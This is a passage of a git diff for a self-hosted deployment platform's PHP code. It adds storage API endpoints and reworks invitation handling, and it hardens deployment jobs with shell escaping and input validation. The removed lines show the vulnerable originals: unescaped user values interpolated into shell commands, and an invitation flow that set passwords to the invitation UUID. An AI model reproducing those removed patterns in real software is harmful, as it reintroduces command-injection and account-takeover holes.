Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first(); + + if (! $service) { + return response()->json([ + 'message' => 'Service not found.', + ], 404); + } + + $this->authorize('update', $service); + + $validator = customApiValidator($request->all(), [ + 'uuid' => 'string', + 'id' => 'integer', + 'type' => 'required|string|in:persistent,file', + 'is_preview_suffix_enabled' => 'boolean', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], + 'mount_path' => 'string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', + ]); + + $allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + $storageUuid = $request->input('uuid'); + $storageId = $request->input('id'); + + if (! $storageUuid && ! $storageId) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['uuid' => 'Either uuid or id is required.'], + ], 422); + } + + $lookupField = $storageUuid ? 'uuid' : 'id'; + $lookupValue = $storageUuid ?? $storageId; + + $storage = null; + if ($request->type === 'persistent') { + foreach ($service->applications as $app) { + $storage = $app->persistentStorages->where($lookupField, $lookupValue)->first(); + if ($storage) { + break; + } + } + if (! $storage) { + foreach ($service->databases as $db) { + $storage = $db->persistentStorages->where($lookupField, $lookupValue)->first(); + if ($storage) { + break; + } + } + } + } else { + foreach ($service->applications as $app) { + $storage = $app->fileStorages->where($lookupField, $lookupValue)->first(); + if ($storage) { + break; + } + } + if (! $storage) { + foreach ($service->databases as $db) { + $storage = $db->fileStorages->where($lookupField, $lookupValue)->first(); + if ($storage) { + break; + } + } + } + } + + if (! $storage) { + return response()->json([ + 'message' => 'Storage not found.', + ], 404); + } + + $isReadOnly = $storage->shouldBeReadOnlyInUI(); + $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content']; + $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all())); + + if ($isReadOnly && ! empty($requestedEditableFields)) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.', + 'read_only_fields' => array_values($requestedEditableFields), + ], 422); + } + + // Reject fields that don't apply to the given storage type + if (! $isReadOnly) { + $typeSpecificInvalidFields = $request->type === 'persistent' + ? array_intersect(['content'], array_keys($request->all())) + : array_intersect(['name', 'host_path'], array_keys($request->all())); + + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]), + ], 422); + } + } + + // Always allowed + if ($request->has('is_preview_suffix_enabled')) { + $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; + } + + // Only for editable storages + if (! $isReadOnly) { + if ($request->type === 'persistent') { + if ($request->has('name')) { + $storage->name = $request->name; + } + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('host_path')) { + $storage->host_path = $request->host_path; + } + } else { + if ($request->has('mount_path')) { + $storage->mount_path = $request->mount_path; + } + if ($request->has('content')) { + $storage->content = $request->content; + } + } + } + + $storage->save(); + + return response()->json($storage); + } + + #[OA\Delete( + summary: 'Delete Storage', + description: 'Delete a persistent storage or file storage by service UUID.', + path: '/services/{uuid}/storages/{storage_uuid}', + operationId: 'delete-storage-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Services'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema(type: 'string') + ), + new OA\Parameter( + name: 'storage_uuid', + in: 'path', + description: 'UUID of the storage.', + required: true, + schema: new OA\Schema(type: 'string') + ), + ], + responses: [ + new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent( + properties: [new OA\Property(property: 'message', type: 'string')], + )), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function delete_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first(); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + $this->authorize('update', $service); + + $storageUuid = $request->route('storage_uuid'); + + $storage = null; + foreach ($service->applications as $app) { + $storage = $app->persistentStorages->where('uuid', $storageUuid)->first(); + if ($storage) { + break; + } + } + if (! $storage) { + foreach ($service->databases as $db) { + $storage = $db->persistentStorages->where('uuid', $storageUuid)->first(); + if ($storage) { + break; + } + } + } + if (! $storage) { + foreach ($service->applications as $app) { + $storage = $app->fileStorages->where('uuid', $storageUuid)->first(); + if ($storage) { + break; + } + } + } + if (! $storage) { + foreach ($service->databases as $db) { + $storage = $db->fileStorages->where('uuid', $storageUuid)->first(); + if ($storage) { + break; + } + } + } + + if (! $storage) { + return response()->json(['message' => 'Storage not found.'], 404); + } + + if ($storage->shouldBeReadOnlyInUI()) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.', + ], 422); + } + + if ($storage instanceof LocalFileVolume) { + $storage->deleteStorageOnServer(); + } + + $storage->delete(); + + return response()->json(['message' => 'Storage deleted.']); + } } diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php index 09007ad96..17d14296b 100644 --- a/app/Http/Controllers/Controller.php +++ b/app/Http/Controllers/Controller.php @@ -108,9 +108,31 @@ public function link() return redirect()->route('login')->with('error', 'Invalid credentials.'); } + public function showInvitation() + { + $invitationUuid = request()->route('uuid'); + $invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail(); + $user = User::whereEmail($invitation->email)->firstOrFail(); + + if (Auth::id() !== $user->id) { + abort(400, 'You are not allowed to accept this invitation.'); + } + + if (! $invitation->isValid()) { + abort(400, 'Invitation expired.'); + } + + $alreadyMember = $user->teams()->where('team_id', $invitation->team->id)->exists(); + + return view('invitation.accept', [ + 'invitation' => $invitation, + 'team' => $invitation->team, + 'alreadyMember' => $alreadyMember, + ]); + } + public function acceptInvitation() { - $resetPassword = request()->query('reset-password'); $invitationUuid = request()->route('uuid'); $invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail(); @@ -119,43 +141,21 @@ public function acceptInvitation() if (Auth::id() !== $user->id) { abort(400, 'You are not allowed to accept this invitation.'); } - $invitationValid = $invitation->isValid(); - if ($invitationValid) { - if ($resetPassword) { - $user->update([ - 'password' => Hash::make($invitationUuid), - 'force_password_reset' => true, - ]); - } - if ($user->teams()->where('team_id', $invitation->team->id)->exists()) { - $invitation->delete(); - - return redirect()->route('team.index'); - } - $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]); - $invitation->delete(); - - refreshSession($invitation->team); - - return redirect()->route('team.index'); - } else { + if (! $invitation->isValid()) { abort(400, 'Invitation expired.'); } - } - public function revokeInvitation() - { - $invitation = TeamInvitation::whereUuid(request()->route('uuid'))->firstOrFail(); - $user = User::whereEmail($invitation->email)->firstOrFail(); - if (is_null(Auth::user())) { - return redirect()->route('login'); - } - if (Auth::id() !== $user->id) { - abort(401); + if ($user->teams()->where('team_id', $invitation->team->id)->exists()) { + $invitation->delete(); + + return redirect()->route('team.index'); } + $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]); $invitation->delete(); + refreshSession($invitation->team); + return redirect()->route('team.index'); } } diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index e5a5b746e..fe49369ea 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -55,6 +55,9 @@ public function manual(Request $request) $after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha')); $author_association = data_get($payload, 'pull_request.author_association'); } + if (! in_array($x_github_event, ['push', 'pull_request'])) { + return response("Nothing to do. Event '$x_github_event' is not supported."); + } if (! $branch) { return response('Nothing to do. No branch found in the request.'); } @@ -246,6 +249,9 @@ public function normal(Request $request) $after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha')); $author_association = data_get($payload, 'pull_request.author_association'); } + if (! in_array($x_github_event, ['push', 'pull_request'])) { + return response("Nothing to do. Event '$x_github_event' is not supported."); + } if (! $id || ! $branch) { return response('Nothing to do. No id or branch found.'); } diff --git a/app/Http/Middleware/TrustHosts.php b/app/Http/Middleware/TrustHosts.php index f0b9d67f2..5fca583d9 100644 --- a/app/Http/Middleware/TrustHosts.php +++ b/app/Http/Middleware/TrustHosts.php @@ -91,6 +91,13 @@ public function hosts(): array // Trust all subdomains of APP_URL as fallback $trustedHosts[] = $this->allSubdomainsOfApplicationUrl(); + // Always trust loopback addresses so local access works even when FQDN is configured + foreach (['localhost', '127.0.0.1', '[::1]'] as $localHost) { + if (! in_array($localHost, $trustedHosts, true)) { + $trustedHosts[] = $localHost; + } + } + return array_filter($trustedHosts); } } diff --git a/app/Http/Middleware/TrustProxies.php b/app/Http/Middleware/TrustProxies.php index 559dd2fc3..a4764047b 100644 --- a/app/Http/Middleware/TrustProxies.php +++ b/app/Http/Middleware/TrustProxies.php @@ -25,4 +25,26 @@ class TrustProxies extends Middleware Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_AWS_ELB; + + /** + * Handle the request. + * + * Wraps $next so that after proxy headers are resolved (X-Forwarded-Proto processed), + * the Secure cookie flag is auto-enabled when the request is over HTTPS. + * This ensures session cookies are correctly marked Secure when behind an HTTPS + * reverse proxy (Cloudflare Tunnel, nginx, etc.) even when SESSION_SECURE_COOKIE + * is not explicitly set in .env. + */ + public function handle($request, \Closure $next) + { + return parent::handle($request, function ($request) use ($next) { + // At this point proxy headers have been applied to the request, + // so $request->secure() correctly reflects the actual protocol. + if ($request->secure() && config('session.secure') === null) { + config(['session.secure' => true]); + } + + return $next($request); + }); + } } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 700a2d60c..785e8c8e3 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -19,6 +19,7 @@ use App\Models\SwarmDocker; use App\Notifications\Application\DeploymentFailed; use App\Notifications\Application\DeploymentSuccess; +use App\Support\ValidationPatterns; use App\Traits\EnvironmentVariableAnalyzer; use App\Traits\ExecuteRemoteCommand; use Carbon\Carbon; @@ -223,7 +224,11 @@ public function __construct(public int $application_deployment_queue_id) $this->preserveRepository = $this->application->settings->is_preserve_repository_enabled; $this->basedir = $this->application->generateBaseDir($this->deployment_uuid); - $this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/'); + $baseDir = $this->application->base_directory; + if ($baseDir && $baseDir !== '/') { + $this->validatePathField($baseDir, 'base_directory'); + } + $this->workdir = "{$this->basedir}".rtrim($baseDir, '/'); $this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}"; $this->is_debug_enabled = $this->application->settings->is_debug_enabled; @@ -312,7 +317,11 @@ public function handle(): void } if ($this->application->dockerfile_target_build) { - $this->buildTarget = " --target {$this->application->dockerfile_target_build} "; + $target = $this->application->dockerfile_target_build; + if (! preg_match(ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) { + throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.'); + } + $this->buildTarget = " --target {$target} "; } // Check custom port @@ -443,7 +452,7 @@ private function detectBuildKitCapabilities(): void $this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments."); } } - } catch (\Exception $e) { + } catch (Exception $e) { $this->dockerBuildkitSupported = false; $this->dockerSecretsSupported = false; $this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}"); @@ -483,7 +492,7 @@ private function post_deployment() // Then handle side effects - these should not fail the deployment try { GetContainersStatus::dispatch($this->server); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Failed to dispatch GetContainersStatus for deployment '.$this->deployment_uuid.': '.$e->getMessage()); } @@ -491,7 +500,7 @@ private function post_deployment() if ($this->application->is_github_based()) { try { ApplicationPullRequestUpdateJob::dispatch(application: $this->application, preview: $this->preview, deployment_uuid: $this->deployment_uuid, status: ProcessStatus::FINISHED); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Failed to dispatch PR update for deployment '.$this->deployment_uuid.': '.$e->getMessage()); } } @@ -499,13 +508,13 @@ private function post_deployment() try { $this->run_post_deployment_command(); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Post deployment command failed for '.$this->deployment_uuid.': '.$e->getMessage()); } try { $this->application->isConfigurationChanged(true); - } catch (\Exception $e) { + } catch (Exception $e) { \Log::warning('Failed to mark configuration as changed for deployment '.$this->deployment_uuid.': '.$e->getMessage()); } } @@ -571,12 +580,15 @@ private function deploy_docker_compose_buildpack() $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command'); $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { - $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); + $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; + $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); } } if (data_get($this->application, 'docker_compose_custom_build_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command'); $this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command; if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) { $this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); @@ -684,10 +696,8 @@ private function deploy_docker_compose_buildpack() } // Inject build arguments after build subcommand if not using build secrets - if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { + if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); - // Escape single quotes for bash -c context used by executeInDocker - $build_args_string = str_replace("'", "'\\''", $build_args_string); // Inject build args right after 'build' subcommand (not at the end) $original_command = $build_command; @@ -699,9 +709,17 @@ private function deploy_docker_compose_buildpack() } } - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true], - ); + try { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true], + ); + } catch (\RuntimeException $e) { + if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) { + throw new DeploymentException("Custom build command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_build_command}"); + } + + throw $e; + } } else { $command = "{$this->coolify_variables} docker compose"; // Prepend DOCKER_BUILDKIT=1 if BuildKit is supported @@ -716,10 +734,8 @@ private function deploy_docker_compose_buildpack() $command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} build --pull"; } - if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { + if (! $this->application->settings->use_build_secrets && $this->build_args instanceof Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); - // Escape single quotes for bash -c context used by executeInDocker - $build_args_string = str_replace("'", "'\\''", $build_args_string); $command .= " {$build_args_string}"; $this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.'); } @@ -765,9 +781,18 @@ private function deploy_docker_compose_buildpack() ); $this->write_deployment_configurations(); - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true], - ); + + try { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true], + ); + } catch (\RuntimeException $e) { + if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) { + throw new DeploymentException("Custom start command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_start_command}"); + } + + throw $e; + } } else { $this->write_deployment_configurations(); $this->docker_compose_location = '/docker-compose.yaml'; @@ -777,7 +802,7 @@ private function deploy_docker_compose_buildpack() $command .= " --env-file {$server_workdir}/.env"; $command .= " --project-directory {$server_workdir} -f {$server_workdir}{$this->docker_compose_location} up -d"; $this->execute_remote_command( - ['command' => $command, 'hidden' => true], + ['command' => $command, 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true], ); } } else { @@ -792,9 +817,15 @@ private function deploy_docker_compose_buildpack() ); $this->write_deployment_configurations(); - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true], - ); + if ($this->preserveRepository) { + $this->execute_remote_command( + ['command' => "cd {$server_workdir} && {$start_command}", 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true], + ); + } else { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true], + ); + } } else { $command = "{$this->coolify_variables} docker compose"; if ($this->preserveRepository) { @@ -804,14 +835,14 @@ private function deploy_docker_compose_buildpack() $this->write_deployment_configurations(); $this->execute_remote_command( - ['command' => $command, 'hidden' => true], + ['command' => $command, 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true], ); } else { // Always use .env file $command .= " --env-file {$this->workdir}/.env"; $command .= " --project-name {$this->application->uuid} --project-directory {$this->workdir} -f {$this->workdir}{$this->docker_compose_location} up -d"; $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, $command), 'hidden' => true], + [executeInDocker($this->deployment_uuid, $command), 'hidden' => false, 'type' => 'stdout', 'command_hidden' => true], ); $this->write_deployment_configurations(); } @@ -1083,10 +1114,21 @@ private function generate_image_names() private function just_restart() { $this->application_deployment_queue->addLogEntry("Restarting {$this->customRepository}:{$this->application->git_branch} on {$this->server->name}."); + + // Restart doesn't need the build server — disable it so the helper container + // is created on the deployment server with the correct network/flags. + $originalUseBuildServer = $this->use_build_server; + $this->use_build_server = false; + $this->prepare_builder_image(); $this->check_git_if_build_needed(); $this->generate_image_names(); $this->check_image_locally_or_remotely(); + + // Restore before should_skip_build() — it may re-enter decide_what_to_do() + // for a full rebuild which needs the build server. + $this->use_build_server = $originalUseBuildServer; + $this->should_skip_build(); $this->completeDeployment(); } @@ -1292,6 +1334,22 @@ private function generate_runtime_environment_variables() foreach ($runtime_environment_variables_preview as $env) { $envs->push($env->key.'='.$env->real_value); } + + // Fall back to production env vars for keys not overridden by preview vars, + // but only when preview vars are configured. This ensures variables like + // DB_PASSWORD that are only set for production will be available in the + // preview .env file (fixing ${VAR} interpolation in docker-compose YAML), + // while avoiding leaking production values when previews aren't configured. + if ($runtime_environment_variables_preview->isNotEmpty()) { + $previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray(); + $fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) { + return $env->is_runtime && ! in_array($env->key, $previewKeys); + }); + foreach ($fallback_production_vars as $env) { + $envs->push($env->key.'='.$env->real_value); + } + } + // Add PORT if not exists, use the first port as default if ($this->build_pack !== 'dockercompose') { if ($this->application->environment_variables_preview->where('key', 'PORT')->isEmpty()) { @@ -1797,7 +1855,8 @@ private function health_check() $counter = 1; $this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.'); if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) { - $this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}"); + $healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL'; + $this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}"); } $this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck."); $sleeptime = 0; @@ -2070,7 +2129,7 @@ private function set_coolify_variables() private function check_git_if_build_needed() { - if (is_object($this->source) && $this->source->getMorphClass() === \App\Models\GithubApp::class && $this->source->is_public === false) { + if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) { $repository = githubApi($this->source, "repos/{$this->customRepository}"); $data = data_get($repository, 'data'); $repository_project_id = data_get($data, 'id'); @@ -2113,7 +2172,7 @@ private function check_git_if_build_needed() executeInDocker($this->deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), ], [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), 'hidden' => true, 'save' => 'git_commit_sha', ] @@ -2176,7 +2235,7 @@ private function clone_repository() $this->create_workdir(); $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 {$this->commit} --pretty=%B"), + executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit).' --pretty=%B'), 'hidden' => true, 'save' => 'commit_message', ] @@ -2292,13 +2351,13 @@ private function nixpacks_build_cmd() $this->generate_nixpacks_env_variables(); $nixpacks_command = "nixpacks plan -f json {$this->env_nixpacks_args}"; if ($this->application->build_command) { - $nixpacks_command .= " --build-cmd \"{$this->application->build_command}\""; + $nixpacks_command .= ' --build-cmd '.escapeShellValue($this->application->build_command); } if ($this->application->start_command) { - $nixpacks_command .= " --start-cmd \"{$this->application->start_command}\""; + $nixpacks_command .= ' --start-cmd '.escapeShellValue($this->application->start_command); } if ($this->application->install_command) { - $nixpacks_command .= " --install-cmd \"{$this->application->install_command}\""; + $nixpacks_command .= ' --install-cmd '.escapeShellValue($this->application->install_command); } $nixpacks_command .= " {$this->workdir}"; @@ -2311,13 +2370,15 @@ private function generate_nixpacks_env_variables() if ($this->pull_request_id === 0) { foreach ($this->application->nixpacks_environment_variables as $env) { if (! is_null($env->real_value) && $env->real_value !== '') { - $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}"); + $value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value; + $this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}")); } } } else { foreach ($this->application->nixpacks_environment_variables_preview as $env) { if (! is_null($env->real_value) && $env->real_value !== '') { - $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}"); + $value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value; + $this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}")); } } } @@ -2327,7 +2388,7 @@ private function generate_nixpacks_env_variables() $coolify_envs->each(function ($value, $key) { // Only add environment variables with non-null and non-empty values if (! is_null($value) && $value !== '') { - $this->env_nixpacks_args->push("--env {$key}={$value}"); + $this->env_nixpacks_args->push('--env '.escapeShellValue("{$key}={$value}")); } }); @@ -2442,7 +2503,9 @@ private function generate_env_variables() $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true); $coolify_envs->each(function ($value, $key) { - $this->env_args->put($key, $value); + if (! is_null($value) && $value !== '') { + $this->env_args->put($key, $value); + } }); // For build process, include only environment variables where is_buildtime = true @@ -2722,7 +2785,8 @@ private function generate_local_persistent_volumes() } else { $volume_name = $persistentStorage->name; } - if ($this->pull_request_id !== 0) { + $isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true); + if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) { $volume_name = addPreviewDeploymentSuffix($volume_name, $this->pull_request_id); } $local_persistent_volumes[] = $volume_name.':'.$persistentStorage->mount_path; @@ -2740,7 +2804,8 @@ private function generate_local_persistent_volumes_only_volume_names() } $name = $persistentStorage->name; - if ($this->pull_request_id !== 0) { + $isPreviewSuffixEnabled = (bool) data_get($persistentStorage, 'is_preview_suffix_enabled', true); + if ($this->pull_request_id !== 0 && $isPreviewSuffixEnabled) { $name = addPreviewDeploymentSuffix($name, $this->pull_request_id); } @@ -2755,29 +2820,62 @@ private function generate_local_persistent_volumes_only_volume_names() private function generate_healthcheck_commands() { + // Handle CMD type healthcheck + if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { + $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command); + + // Defense in depth: validate command at runtime (matches input validation regex) + if (! preg_match('/^[a-zA-Z0-9 \-_.\/:=@,+]+$/', $command) || strlen($command) > 1000) { + $this->application_deployment_queue->addLogEntry('Warning: Health check command contains invalid characters or exceeds max length. Falling back to HTTP healthcheck.'); + } else { + $this->full_healthcheck_url = $command; + + return $command; + } + } + + // HTTP type healthcheck (default) if (! $this->application->health_check_port) { - $health_check_port = $this->application->ports_exposes_array[0]; + $health_check_port = (int) $this->application->ports_exposes_array[0]; } else { - $health_check_port = $this->application->health_check_port; + $health_check_port = (int) $this->application->health_check_port; } if ($this->application->settings->is_static || $this->application->build_pack === 'static') { $health_check_port = 80; } - if ($this->application->health_check_path) { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path}"; - $generated_healthchecks_commands = [ - "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || exit 1", - ]; + + $method = $this->sanitizeHealthCheckValue($this->application->health_check_method, '/^[A-Z]+$/', 'GET'); + $scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http'); + $host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost'); + $path = $this->application->health_check_path + ? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%]+$#', '/') + : null; + + $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/')); + $escapedMethod = escapeshellarg($method); + + if ($path) { + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}{$path}"; } else { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/"; - $generated_healthchecks_commands = [ - "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || exit 1", - ]; + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}/"; } + $generated_healthchecks_commands = [ + "curl -s -X {$escapedMethod} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", + ]; + return implode(' ', $generated_healthchecks_commands); } + private function sanitizeHealthCheckValue(string $value, string $pattern, string $default): string + { + if (preg_match($pattern, $value)) { + return $value; + } + + return $default; + } + private function pull_latest_image($image) { $this->application_deployment_queue->addLogEntry("Pulling latest image ($image) from the registry."); @@ -2858,7 +2956,7 @@ private function wrap_build_command_with_env_export(string $build_command): stri private function build_image() { // Add Coolify related variables to the build args/secrets - if (! $this->dockerBuildkitSupported) { + if (! $this->dockerSecretsSupported) { // Traditional build args approach - generate COOLIFY_ variables locally $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true); $coolify_envs->each(function ($value, $key) { @@ -2867,7 +2965,7 @@ private function build_image() } // Always convert build_args Collection to string for command interpolation - $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection + $this->build_args = $this->build_args instanceof Collection ? $this->build_args->implode(' ') : (string) $this->build_args; @@ -3469,8 +3567,8 @@ protected function findFromInstructionLines($dockerfile): array private function add_build_env_variables_to_dockerfile() { - if ($this->dockerBuildkitSupported) { - // We dont need to add build secrets to dockerfile for buildkit, as we already added them with --secret flag in function generate_docker_env_flags_for_secrets + if ($this->dockerSecretsSupported) { + // We dont need to add ARG declarations when using Docker build secrets, as variables are passed with --secret flag return; } @@ -3868,7 +3966,7 @@ private function add_build_secrets_to_compose($composeFile) $composeFile['services'] = $services; $existingSecrets = data_get($composeFile, 'secrets', []); - if ($existingSecrets instanceof \Illuminate\Support\Collection) { + if ($existingSecrets instanceof Collection) { $existingSecrets = $existingSecrets->toArray(); } 